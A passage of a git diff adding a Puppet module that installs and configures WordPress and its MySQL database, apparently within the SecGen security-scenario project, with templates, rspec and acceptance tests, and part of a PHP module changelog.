concat::fragment { "${install_dir}/wp-config.php keysalts": + target => "${install_dir}/wp-config.php", + source => "${install_dir}/wp-keysalts.php", + order => '10', + require => File["${install_dir}/wp-keysalts.php"], + } + # Template uses: + # - $db_name + # - $db_user + # - $db_password + # - $db_host + # - $wp_table_prefix + # - $wp_lang + # - $wp_plugin_dir + # - $wp_proxy_host + # - $wp_proxy_port + # - $wp_site_url + # - $wp_multisite + # - $wp_site_domain + # - $wp_additional_config + # - $wp_debug + # - $wp_debug_log + # - $wp_debug_display + concat::fragment { "${install_dir}/wp-config.php body": + target => "${install_dir}/wp-config.php", + content => template('wordpress/wp-config.php.erb'), + order => '20', + } + } +} diff --git a/modules/utilities/unix/puppet_module/wordpress/manifests/instance/db.pp b/modules/utilities/unix/puppet_module/wordpress/manifests/instance/db.pp new file mode 100644 index 000000000..29672d0c3 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/manifests/instance/db.pp @@ -0,0 +1,30 @@ +define wordpress::instance::db ( + $create_db, + $create_db_user, + $db_name, + $db_host, + $db_user, + $db_password, +) { + validate_bool($create_db,$create_db_user) + validate_string($db_name,$db_host,$db_user,$db_password) + + ## Set up DB using puppetlabs-mysql defined type + if $create_db { + mysql_database { "${db_host}/${db_name}": + name => $db_name, + charset => 'utf8', + } + } + if $create_db_user { + mysql_user { "${db_user}@${db_host}": + password_hash => mysql_password($db_password), + } + mysql_grant { "${db_user}@${db_host}/${db_name}.*": + table => "${db_name}.*", + user => "${db_user}@${db_host}", + privileges => ['ALL'], + } + } + +} diff --git a/modules/utilities/unix/puppet_module/wordpress/metadata.json b/modules/utilities/unix/puppet_module/wordpress/metadata.json new file mode 100644 index 000000000..db048d41d --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/metadata.json @@ -0,0 +1,61 @@ +{ + "name": "hunner-wordpress", + "version": "1.0.0", + "author": "Hunter Haugen", + "summary": "Puppet module to set up an instance of wordpress; and optionally a mysql db/user.", + "license": "Apache-2.0", + "source": "https://github.com/hunner/puppet-wordpress", + "dependencies": [ +// {"name":"puppetlabs/concat", "version_requirement":">= 1.0.0"}, +// {"name":"puppetlabs/mysql", "version_requirement":">= 2.1.0"}, +// {"name":"puppetlabs/stdlib", "version_requirement":">= 2.3.1"} + ], + "operatingsystem_support": [ + { + "operatingsystem": "CentOS", + "operatingsystemrelease": [ + "7" + ] + }, + { + "operatingsystem": "OracleLinux", + "operatingsystemrelease": [ + "7" + ] + }, + { + "operatingsystem": "RedHat", + "operatingsystemrelease": [ + "7" + ] + }, + { + "operatingsystem": "Scientific", + "operatingsystemrelease": [ + "7" + ] + }, + { + "operatingsystem": "Debian", + "operatingsystemrelease": [ + "8" + ] + }, + { + "operatingsystem": "Ubuntu", + "operatingsystemrelease": [ + "16.04" + ] + } + ], + "requirements": [ + { + "name": "puppet", + "version_requirement": ">= 4.7.0 < 6.0.0" + } + ], + "pdk-version": "1.4.1", + "template-url": "https://github.com/puppetlabs/pdk-templates", + "template-ref": "1.4.1-0-g52adbbb" +} + diff --git a/modules/utilities/unix/puppet_module/wordpress/secgen_metadata.xml b/modules/utilities/unix/puppet_module/wordpress/secgen_metadata.xml new file mode 100644 index 000000000..8edbb0953 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/secgen_metadata.xml @@ -0,0 +1,14 @@ + + + + WordPress + Thomas Shaw + MIT + wordpress + + puppet_module + linux + + diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-6-vcloud.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-6-vcloud.yml new file mode 100644 index 000000000..ca9c1d329 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-6-vcloud.yml @@ -0,0 +1,15 @@ +HOSTS: + 'centos-6-vcloud': + roles: + - master + platform: el-6-x86_64 + hypervisor: vcloud + template: centos-6-x86_64 +CONFIG: + type: foss + ssh: + keys: "~/.ssh/id_rsa-acceptance" + datastore: instance0 + folder: Delivery/Quality Assurance/Enterprise/Dynamic + resourcepool: delivery/Quality Assurance/Enterprise/Dynamic + pooling_api: http://vcloud.delivery.puppetlabs.net/ diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-64-x64-pe.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-64-x64-pe.yml new file mode 100644 index 000000000..7d9242f1b --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-64-x64-pe.yml @@ -0,0 +1,12 @@ +HOSTS: + centos-64-x64: + roles: + - master + - database + - dashboard + platform: el-6-x86_64 + box : centos-64-x64-vbox4210-nocm + box_url : http://puppet-vagrant-boxes.puppetlabs.com/centos-64-x64-vbox4210-nocm.box + hypervisor : vagrant +CONFIG: + type: pe diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-64-x64.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-64-x64.yml new file mode 100644 index 000000000..05540ed8c --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-64-x64.yml @@ -0,0 +1,10 @@ +HOSTS: + centos-64-x64: + roles: + - master + platform: el-6-x86_64 + box : centos-64-x64-vbox4210-nocm + box_url : http://puppet-vagrant-boxes.puppetlabs.com/centos-64-x64-vbox4210-nocm.box + hypervisor : vagrant +CONFIG: + type: foss diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-65-x64.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-65-x64.yml new file mode 100644 index 000000000..4e2cb809e --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/centos-65-x64.yml @@ -0,0 +1,10 @@ +HOSTS: + centos-65-x64: + roles: + - master + platform: el-6-x86_64 + box : centos-65-x64-vbox436-nocm + box_url : http://puppet-vagrant-boxes.puppetlabs.com/centos-65-x64-virtualbox-nocm.box + hypervisor : vagrant +CONFIG: + type: foss diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/default.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/default.yml new file mode 100644 index 000000000..05540ed8c --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/default.yml @@ -0,0 +1,10 @@ +HOSTS: + centos-64-x64: + roles: + - master + platform: el-6-x86_64 + box : centos-64-x64-vbox4210-nocm + box_url : http://puppet-vagrant-boxes.puppetlabs.com/centos-64-x64-vbox4210-nocm.box + hypervisor : vagrant +CONFIG: + type: foss diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/fedora-18-x64.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/fedora-18-x64.yml new file mode 100644 index 000000000..136164983 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/fedora-18-x64.yml @@ -0,0 +1,10 @@ +HOSTS: + fedora-18-x64: + roles: + - master + platform: fedora-18-x86_64 + box : fedora-18-x64-vbox4210-nocm + box_url : http://puppet-vagrant-boxes.puppetlabs.com/fedora-18-x64-vbox4210-nocm.box + hypervisor : vagrant +CONFIG: + type: foss diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/sles-11-x64.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/sles-11-x64.yml new file mode 100644 index 000000000..41abe2135 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/sles-11-x64.yml @@ -0,0 +1,10 @@ +HOSTS: + sles-11-x64.local: + roles: + - master + platform: sles-11-x64 + box : sles-11sp1-x64-vbox4210-nocm + box_url : http://puppet-vagrant-boxes.puppetlabs.com/sles-11sp1-x64-vbox4210-nocm.box + hypervisor : vagrant +CONFIG: + type: foss diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml new file mode 100644 index 000000000..5ca1514e4 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/ubuntu-server-10044-x64.yml @@ -0,0 +1,10 @@ +HOSTS: + ubuntu-server-10044-x64: + roles: + - master + platform: ubuntu-10.04-amd64 + box : ubuntu-server-10044-x64-vbox4210-nocm + box_url : http://puppet-vagrant-boxes.puppetlabs.com/ubuntu-server-10044-x64-vbox4210-nocm.box + hypervisor : vagrant +CONFIG: + type: foss diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml new file mode 100644 index 000000000..d065b304f --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/nodesets/ubuntu-server-12042-x64.yml @@ -0,0 +1,10 @@ +HOSTS: + ubuntu-server-12042-x64: + roles: + - master + platform: ubuntu-12.04-amd64 + box : ubuntu-server-12042-x64-vbox4210-nocm + box_url : http://puppet-vagrant-boxes.puppetlabs.com/ubuntu-server-12042-x64-vbox4210-nocm.box + hypervisor : vagrant +CONFIG: + type: foss diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/wordpress_spec.rb b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/wordpress_spec.rb new file mode 100644 index 000000000..3d151a257 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/spec/acceptance/wordpress_spec.rb @@ -0,0 +1,102 @@ +require 'spec_helper_acceptance' + +describe "setting up a wordpress instance" do + it 'deploys a wordpress instance' do + pp = %{ + class { 'apache': + mpm_module => 'prefork', + } + class { 'apache::mod::php': } + class { 'mysql::server': } + class { 'mysql::bindings': php_enable => true, } + host { 'wordpress.localdomain': ip => '127.0.0.1', } + + apache::vhost { 'wordpress.localdomain': + docroot => '/opt/wordpress', + port => '80', + } + + class { 'wordpress': + install_dir => '/opt/wordpress/blog', + require => Class['mysql::server'], + } + } + + expect(apply_manifest(pp, :catch_failures => true).stderr).to eq("") + expect(apply_manifest(pp, :catch_changes => true).stderr).to eq("") + + expect(shell("/usr/bin/curl wordpress.localdomain:80/blog/wp-admin/install.php").stdout).to match(/Install WordPress/) + end + + it 'deploys two wordpress instances' do + pp = %{ + class { 'apache': + mpm_module => 'prefork', + } + class { 'apache::mod::php': } + class { 'mysql::server': } + class { 'mysql::bindings': php_enable => true, } + host { 'wordpress1.localdomain': ip => '127.0.0.1', } + host { 'wordpress2.localdomain': ip => '127.0.0.1', } + + apache::vhost { 'wordpress1.localdomain': + docroot => '/opt/wordpress1', + port => '80', + } + apache::vhost { 'wordpress2.localdomain': + docroot => '/opt/wordpress2', + port => '80', + } + + wordpress::instance { '/opt/wordpress1/blog': + db_name => 'wordpress1', + db_user => 'wordpress1', + require => Class['mysql::server'], + } + wordpress::instance { '/opt/wordpress2/blog': + db_name => 'wordpress2', + db_user => 'wordpress2', + require => Class['mysql::server'], + } + } + + expect(apply_manifest(pp, :catch_failures => true).stderr).to eq("") + expect(apply_manifest(pp, :catch_changes => true).stderr).to eq("") + + expect(shell("/usr/bin/curl wordpress1.localdomain:80/blog/wp-admin/install.php").stdout).to match(/Install WordPress/) + expect(shell("/usr/bin/curl wordpress2.localdomain:80/blog/wp-admin/install.php").stdout).to match(/Install WordPress/) + end + + it 'deploys a wordpress instance as the httpd user with a secure DB password and a specific location' do + pp = %{ + class { 'apache': + mpm_module => 'prefork', + } + class { 'apache::mod::php': } + class { 'mysql::server': } + class { 'mysql::bindings::php': } + + apache::vhost { 'wordpress.localdomain': + docroot => '/var/www/wordpress', + port => '80', + } + + class { 'wordpress': + install_dir => '/var/www/wordpress/blog', + wp_owner => $apache::user, + wp_group => $apache::group, + db_name => 'wordpress', + db_host => 'localhost', + db_user => 'wordpress', + db_password => 'hvyH(S%t(\"0\"16', + } + } + + pending + end + + it 'deploys a wordpress instance with a remote DB' + it 'deploys a wordpress instance with a pre-existing DB' + it 'deploys a wordpress instance of a specific version' + it 'deploys a wordpress instance from an internal server' +end diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/classes/wordpress_spec.rb b/modules/utilities/unix/puppet_module/wordpress/spec/classes/wordpress_spec.rb new file mode 100644 index 000000000..2ca2b6843 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/spec/classes/wordpress_spec.rb @@ -0,0 +1,36 @@ +require 'spec_helper' + +describe 'wordpress', :type => :class do + context "on a RedHat 5 OS" do + let :facts do + { + :osfamily => 'RedHat', + :lsbmajdistrelease => '5', + :concat_basedir => '/dne', + } + end + it { should contain_wordpress__instance__app("/opt/wordpress") } + it { should contain_wordpress__instance__db("localhost/wordpress") } + end + context "on a RedHat 6 OS" do + let :facts do + { + :osfamily => 'RedHat', + :lsbmajdistrelease => '6', + :concat_basedir => '/dne', + } + end + it { should contain_wordpress__instance__app("/opt/wordpress") } + it { should contain_wordpress__instance__db("localhost/wordpress") } + end + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :concat_basedir => '/dne', + } + end + it { should contain_wordpress__instance__app("/opt/wordpress") } + it { should contain_wordpress__instance__db("localhost/wordpress") } + end +end diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/default_facts.yml b/modules/utilities/unix/puppet_module/wordpress/spec/default_facts.yml new file mode 100644 index 000000000..3248be5aa --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/spec/default_facts.yml @@ -0,0 +1,8 @@ +# Use default_module_facts.yml for module specific facts. +# +# Facts specified here will override the values provided by rspec-puppet-facts. +--- +concat_basedir: "/tmp" +ipaddress: "172.16.254.254" +is_pe: false +macaddress: "AA:AA:AA:AA:AA:AA" diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/defines/wordpress_spec.rb b/modules/utilities/unix/puppet_module/wordpress/spec/defines/wordpress_spec.rb new file mode 100644 index 000000000..794f1cf4f --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/spec/defines/wordpress_spec.rb @@ -0,0 +1,45 @@ +require 'spec_helper' + +describe 'wordpress::instance', :type => :define do + let :title do + '/opt/wordpress2' + end + let :params do + { + :db_user => 'test', + :db_name => 'test' + } + end + context "on a RedHat 5 OS" do + let :facts do + { + :osfamily => 'RedHat', + :lsbmajdistrelease => '5', + :concat_basedir => '/dne', + } + end + it { should contain_wordpress__instance__app("/opt/wordpress2") } + it { should contain_wordpress__instance__db("localhost/test") } + end + context "on a RedHat 6 OS" do + let :facts do + { + :osfamily => 'RedHat', + :lsbmajdistrelease => '6', + :concat_basedir => '/dne', + } + end + it { should contain_wordpress__instance__app("/opt/wordpress2") } + it { should contain_wordpress__instance__db("localhost/test") } + end + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :concat_basedir => '/dne', + } + end + it { should contain_wordpress__instance__app("/opt/wordpress2") } + it { should contain_wordpress__instance__db("localhost/test") } + end +end diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/spec.opts b/modules/utilities/unix/puppet_module/wordpress/spec/spec.opts new file mode 100644 index 000000000..de653df4b --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/spec/spec.opts @@ -0,0 +1,4 @@ +--format s +--colour +--loadby mtime +--backtrace diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/spec_helper.rb b/modules/utilities/unix/puppet_module/wordpress/spec/spec_helper.rb new file mode 100644 index 000000000..efd225b54 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/spec/spec_helper.rb @@ -0,0 +1,30 @@ +require 'puppetlabs_spec_helper/module_spec_helper' +require 'rspec-puppet-facts' + +begin + require 'spec_helper_local' if File.file?(File.join(File.dirname(__FILE__), 'spec_helper_local.rb')) +rescue LoadError => loaderror + warn "Could not require spec_helper_local: #{loaderror.message}" +end + +include RspecPuppetFacts + +default_facts = { + puppetversion: Puppet.version, + facterversion: Facter.version, +} + +default_facts_path = File.expand_path(File.join(File.dirname(__FILE__), 'default_facts.yml')) +default_module_facts_path = File.expand_path(File.join(File.dirname(__FILE__), 'default_module_facts.yml')) + +if File.exist?(default_facts_path) && File.readable?(default_facts_path) + default_facts.merge!(YAML.safe_load(File.read(default_facts_path))) +end + +if File.exist?(default_module_facts_path) && File.readable?(default_module_facts_path) + default_facts.merge!(YAML.safe_load(File.read(default_module_facts_path))) +end + +RSpec.configure do |c| + c.default_facts = default_facts +end diff --git a/modules/utilities/unix/puppet_module/wordpress/spec/spec_helper_acceptance.rb b/modules/utilities/unix/puppet_module/wordpress/spec/spec_helper_acceptance.rb new file mode 100644 index 000000000..b0f000afc --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/spec/spec_helper_acceptance.rb @@ -0,0 +1,35 @@ +require 'beaker-rspec/spec_helper' +require 'beaker-rspec/helpers/serverspec' + +unless ENV['RS_PROVISION'] == 'no' or ENV['BEAKER_provision'] == 'no' + if hosts.first.is_pe? + install_pe + else + install_puppet({ :version => '3.6.2', + :facter_version => '2.1.0', + :hiera_version => '1.3.4', + :default_action => 'gem_install' }) + hosts.each {|h| on h, "/bin/echo '' > #{h['hieraconf']}" } + end + hosts.each do |host| + on host, "mkdir -p #{host['distmoduledir']}" + on host, puppet('module','install','puppetlabs-stdlib'), :acceptable_exit_codes => [0,1] + on host, puppet('module','install','puppetlabs-concat'), :acceptable_exit_codes => [0,1] + on host, puppet('module','install','puppetlabs-mysql' ), :acceptable_exit_codes => [0,1] + on host, puppet('module','install','puppetlabs-apache'), :acceptable_exit_codes => [0,1] + end +end + +RSpec.configure do |c| + # Project root + proj_root = File.expand_path(File.join(File.dirname(__FILE__), '..')) + + # Readable test descriptions + c.formatter = :documentation + + # Configure all nodes in nodeset + c.before :suite do + # Install module and dependencies + puppet_module_install(:source => proj_root, :module_name => 'wordpress') + end +end diff --git a/modules/utilities/unix/puppet_module/wordpress/templates/wordpress_conf.sh.erb b/modules/utilities/unix/puppet_module/wordpress/templates/wordpress_conf.sh.erb new file mode 100644 index 000000000..73a080b46 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/templates/wordpress_conf.sh.erb @@ -0,0 +1,26 @@ +#!/bin/bash +<% require 'uri' + $url_base = "#{@https ? 'https' : 'http'}://#{@ip_address}:#{@https ? '443' : @port}" + $params = '' + $params += 'weblog_title=' + URI::encode(@blog_title) + $params += '&admin_email=' + URI::encode(@admin_email) + if @version[0].to_i >= 3 + $params += '&user_name=' + @username + $params += '&admin_password=' + @admin_password + $params += '&admin_password2=' + @admin_password + elsif (@version[0].to_i == 4) and (@version[2].to_i >= 3) + $params += '&pw_weak=on' + $params += '&pass1-text=' + @admin_password + end + if @version[0].to_i == 1 and @version[2].to_i == 5 + $params += '&Submit=Continue+to+Second+Step+%C2%BB' + else + $params += '&blog_public=1' + $params += '&Submit=Install+WordPress' + $params += '&language=' + end +-%> +sudo curl -L <%= @https ? '-k ': '' %><%= $url_base %> +sleep 10 +sudo curl -L --data '<%= $params %>' <%= @https ? '-k ': '' %><%= $url_base %>/wp-admin/install.php?step=2 +sleep 10 \ No newline at end of file diff --git a/modules/utilities/unix/puppet_module/wordpress/templates/wp-config.php.erb b/modules/utilities/unix/puppet_module/wordpress/templates/wp-config.php.erb new file mode 100644 index 000000000..f29611e64 --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/templates/wp-config.php.erb @@ -0,0 +1,114 @@ +/** + * The base configurations of the WordPress. + * + * This file has the following configurations: MySQL settings, Table Prefix, + * Secret Keys, WordPress Language, and ABSPATH. You can find more information + * by visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing + * wp-config.php} Codex page. You can get the MySQL settings from your web host. + * + * This file is used by the wp-config.php creation script during the + * installation. You don't have to use the web site, you can just copy this file + * to "wp-config.php" and fill in the values. + * + * @package WordPress + */ + +// ** MySQL settings - You can get this info from your web host ** // +/** The name of the database for WordPress */ +define('DB_NAME', '<%= @db_name %>'); + +/** MySQL database username */ +define('DB_USER', '<%= @db_user %>'); + +/** MySQL database password */ +define('DB_PASSWORD', '<%= @db_password %>'); + +/** MySQL hostname */ +define('DB_HOST', '<%= @db_host %>'); + +/** Database Charset to use in creating database tables. */ +define('DB_CHARSET', 'utf8'); + +/** The Database Collate type. Don't change this if in doubt. */ +define('DB_COLLATE', ''); + +/** + * WordPress Database Table prefix. + * + * You can have multiple installations in one database if you give each a unique + * prefix. Only numbers, letters, and underscores please! + */ +$table_prefix = '<%= @wp_table_prefix %>'; + +/** + * WordPress Localized Language, defaults to English. + * + * Change this to localize WordPress. A corresponding MO file for the chosen + * language must be installed to wp-content/languages. For example, install + * de_DE.mo to wp-content/languages and set WPLANG to 'de_DE' to enable German + * language support. + */ + +define('WPLANG', '<%= @wp_lang %>'); + +/** + * For developers: WordPress debugging mode. + * + * Change this to true to enable the display of notices during development. + * It is strongly recommended that plugin and theme developers use WP_DEBUG + * in their development environments. + * + * WP_DEBUG_LOG is a companion to WP_DEBUG that causes all errors to also be + * saved to a debug.log log file inside the /wp-content/ directory. This is + * useful if you want to review all notices later or need to view notices + * generated off-screen (e.g. during an AJAX request or wp-cron run). + * + * WP_DEBUG_DISPLAY is another companion to WP_DEBUG that controls whether + * debug messages are shown inside the HTML of pages or not. The default + * is 'true' which shows errors and warnings as they are generated. Setting + * this to false will hide all errors. This should be used in conjunction with + * WP_DEBUG_LOG so that errors can be reviewed later. + */ +define('WP_DEBUG', <%= @wp_debug %>); +define('WP_DEBUG_LOG', <%= @wp_debug_log %>); +define('WP_DEBUG_DISPLAY', <%= @wp_debug_display %>); + +<% if @wp_plugin_dir != 'DEFAULT' %> +define('WP_PLUGIN_DIR', '<%= @wp_plugin_dir %>'); +<% end %> + +<% if @wp_proxy_host and ! @wp_proxy_host.empty? %> +/* Proxy Settings */ +define('WP_PROXY_HOST', '<%= @wp_proxy_host %>'); +<% if @wp_proxy_port and ! @wp_proxy_port.empty? %> +define('WP_PROXY_PORT', '<%= @wp_proxy_port %>'); +<% end %> +<% end %> + +<% if @wp_site_url %> +define('WP_SITEURL', '<%= @wp_site_url %>'); +<% end %> + +<% if @wp_multisite %> +/* Multisite */ +define('WP_ALLOW_MULTISITE', true); +define('MULTISITE', true); +define('SUBDOMAIN_INSTALL', true); +define('DOMAIN_CURRENT_SITE', '<%= @wp_site_domain %>'); +define('PATH_CURRENT_SITE', '/'); +define('SITE_ID_CURRENT_SITE', 1); +define('BLOG_ID_CURRENT_SITE', 1); +<% end %> + +<% if @wp_additional_config != 'DEFAULT' -%> +<%= scope.function_template([@wp_additional_config]) %> +<% end -%> +/* That's all, stop editing! Happy blogging. */ + +/** Absolute path to the WordPress directory. */ +if ( !defined('ABSPATH') ) + define('ABSPATH', dirname(__FILE__) . '/'); + +/** Sets up WordPress vars and included files. */ +require_once(ABSPATH . 'wp-settings.php'); + diff --git a/modules/utilities/unix/puppet_module/wordpress/templates/wp-keysalts.php.erb b/modules/utilities/unix/puppet_module/wordpress/templates/wp-keysalts.php.erb new file mode 100644 index 000000000..9f6a4c6dd --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/templates/wp-keysalts.php.erb @@ -0,0 +1,21 @@ +'); +define('SECURE_AUTH_KEY', '<%= (1..50).map{(rand(86)+40).chr}.join.gsub(/\\/,'\&\&') %>'); +define('LOGGED_IN_KEY', '<%= (1..50).map{(rand(86)+40).chr}.join.gsub(/\\/,'\&\&') %>'); +define('NONCE_KEY', '<%= (1..50).map{(rand(86)+40).chr}.join.gsub(/\\/,'\&\&') %>'); +define('AUTH_SALT', '<%= (1..50).map{(rand(86)+40).chr}.join.gsub(/\\/,'\&\&') %>'); +define('SECURE_AUTH_SALT', '<%= (1..50).map{(rand(86)+40).chr}.join.gsub(/\\/,'\&\&') %>'); +define('LOGGED_IN_SALT', '<%= (1..50).map{(rand(86)+40).chr}.join.gsub(/\\/,'\&\&') %>'); +define('NONCE_SALT', '<%= (1..50).map{(rand(86)+40).chr}.join.gsub(/\\/,'\&\&') %>'); + +/**#@-*/ + diff --git a/modules/utilities/unix/puppet_module/wordpress/tests/init.pp b/modules/utilities/unix/puppet_module/wordpress/tests/init.pp new file mode 100644 index 000000000..4d39bb34f --- /dev/null +++ b/modules/utilities/unix/puppet_module/wordpress/tests/init.pp @@ -0,0 +1,7 @@ +class { 'wordpress': + install_dir => '/var/www/wordpress', + db_name => 'wordpress', + db_host => 'localhost', + db_user => 'wordpress', + db_password => 'insecure password', +} diff --git a/modules/utilities/unix/puppet_module/wordpress/wordpress.pp b/modules/utilities/unix/puppet_module/wordpress/wordpress.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/web_frameworks/php/CHANGELOG.md b/modules/utilities/unix/web_frameworks/php/CHANGELOG.md new file mode 100644 index 000000000..9db584158 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/CHANGELOG.md @@ -0,0 +1,288 @@ +# Changelog + +All notable changes to this project will be documented in this file. +Each new release typically also includes the latest modulesync defaults. +These should not affect the functionality of the module. + +## [v5.2.0](https://github.com/voxpupuli/puppet-php/tree/v5.2.0) (2018-02-14) + +[Full Changelog](https://github.com/voxpupuli/puppet-php/compare/v5.1.0...v5.2.0) + +**Implemented enhancements:** + +- add ubuntu 16.04 support [\#412](https://github.com/voxpupuli/puppet-php/pull/412) ([bastelfreak](https://github.com/bastelfreak)) +- Add PHP 7.1 support on Debian [\#293](https://github.com/voxpupuli/puppet-php/pull/293) ([fstr](https://github.com/fstr)) + +**Fixed bugs:** + +- Auto\_update not idempotent [\#402](https://github.com/voxpupuli/puppet-php/issues/402) +- use correct require arguments [\#415](https://github.com/voxpupuli/puppet-php/pull/415) ([bastelfreak](https://github.com/bastelfreak)) +- fix composer auto\_update idempotency in case no update is available [\#408](https://github.com/voxpupuli/puppet-php/pull/408) ([joekohlsdorf](https://github.com/joekohlsdorf)) +- Fixing wrong pear package name in Amazon Linux [\#399](https://github.com/voxpupuli/puppet-php/pull/399) ([gdurandvadas](https://github.com/gdurandvadas)) + +**Closed issues:** + +- Upgrade to work with Puppet5 [\#406](https://github.com/voxpupuli/puppet-php/issues/406) +- php 7.2 + ubuntu 16.04 - pdo-mysql extension not installing correctly [\#405](https://github.com/voxpupuli/puppet-php/issues/405) +- config\_root parameter does nothing on RHEL7 [\#397](https://github.com/voxpupuli/puppet-php/issues/397) + +**Merged pull requests:** + +- Deprecate hiera\_hash functions [\#410](https://github.com/voxpupuli/puppet-php/pull/410) ([minorOffense](https://github.com/minorOffense)) +- mark Puppet 5 as supported [\#407](https://github.com/voxpupuli/puppet-php/pull/407) ([joekohlsdorf](https://github.com/joekohlsdorf)) +- Change default RedHat params to use config\_root [\#398](https://github.com/voxpupuli/puppet-php/pull/398) ([DALUofM](https://github.com/DALUofM)) + +## [v5.1.0](https://github.com/voxpupuli/puppet-php/tree/v5.1.0) (2017-11-10) + +[Full Changelog](https://github.com/voxpupuli/puppet-php/compare/v5.0.0...v5.1.0) + +**Fixed bugs:** + +- Fix syntax issues with data types [\#385](https://github.com/voxpupuli/puppet-php/pull/385) ([craigwatson](https://github.com/craigwatson)) +- fix ubuntu 17.04 version for php7 [\#383](https://github.com/voxpupuli/puppet-php/pull/383) ([arudat](https://github.com/arudat)) +- Fix OS fact comparison for Ubuntu 12 and 14 [\#375](https://github.com/voxpupuli/puppet-php/pull/375) ([dbeckham](https://github.com/dbeckham)) +- Fix OS facts usage when selecting repo class for Ubuntu systems [\#374](https://github.com/voxpupuli/puppet-php/pull/374) ([dbeckham](https://github.com/dbeckham)) +- Confine pecl provider to where pear command is available [\#364](https://github.com/voxpupuli/puppet-php/pull/364) ([walkamongus](https://github.com/walkamongus)) +- fix default value of php::fpm::pool::access\_log\_format [\#361](https://github.com/voxpupuli/puppet-php/pull/361) ([lesinigo](https://github.com/lesinigo)) + +**Closed issues:** + +- Debian repository classes are being selected on Ubuntu systems [\#373](https://github.com/voxpupuli/puppet-php/issues/373) +- Changes in \#357 break Ubuntu version dependent resources [\#372](https://github.com/voxpupuli/puppet-php/issues/372) + +**Merged pull requests:** + +- release 5.1.0 [\#394](https://github.com/voxpupuli/puppet-php/pull/394) ([bastelfreak](https://github.com/bastelfreak)) +- Proposed fix for failing parallel spec tests [\#386](https://github.com/voxpupuli/puppet-php/pull/386) ([wyardley](https://github.com/wyardley)) +- update dependencies in metadata [\#379](https://github.com/voxpupuli/puppet-php/pull/379) ([mmoll](https://github.com/mmoll)) +- Bump metadata.json version to 5.0.1-rc [\#377](https://github.com/voxpupuli/puppet-php/pull/377) ([dhollinger](https://github.com/dhollinger)) +- bump dep on puppet/archive to '\< 3.0.0' [\#376](https://github.com/voxpupuli/puppet-php/pull/376) ([costela](https://github.com/costela)) +- Release 5.0.0 [\#371](https://github.com/voxpupuli/puppet-php/pull/371) ([hunner](https://github.com/hunner)) +- Backport of \#355 remove example42/yum dependency on puppet3 branch [\#366](https://github.com/voxpupuli/puppet-php/pull/366) ([LEDfan](https://github.com/LEDfan)) +- Add missing php-fpm user and group class param docs [\#346](https://github.com/voxpupuli/puppet-php/pull/346) ([dbeckham](https://github.com/dbeckham)) + +## [v5.0.0](https://github.com/voxpupuli/puppet-php/tree/v5.0.0) (2017-08-07) +### Summary +This backwards-incompatible release drops puppet 3, PHP 5.5 on Ubuntu, and the deprecated `php::extension` parameter `pecl_source`. It improves much of the internal code quality, and adds several useful features the most interesting of which is probably the `php::extension` parameter `ini_prefix`. + +### Changed +- Drop puppet 3 compatibility. +- Bumped puppetlabs-apt lower bound to 4.1.0 +- Bumped 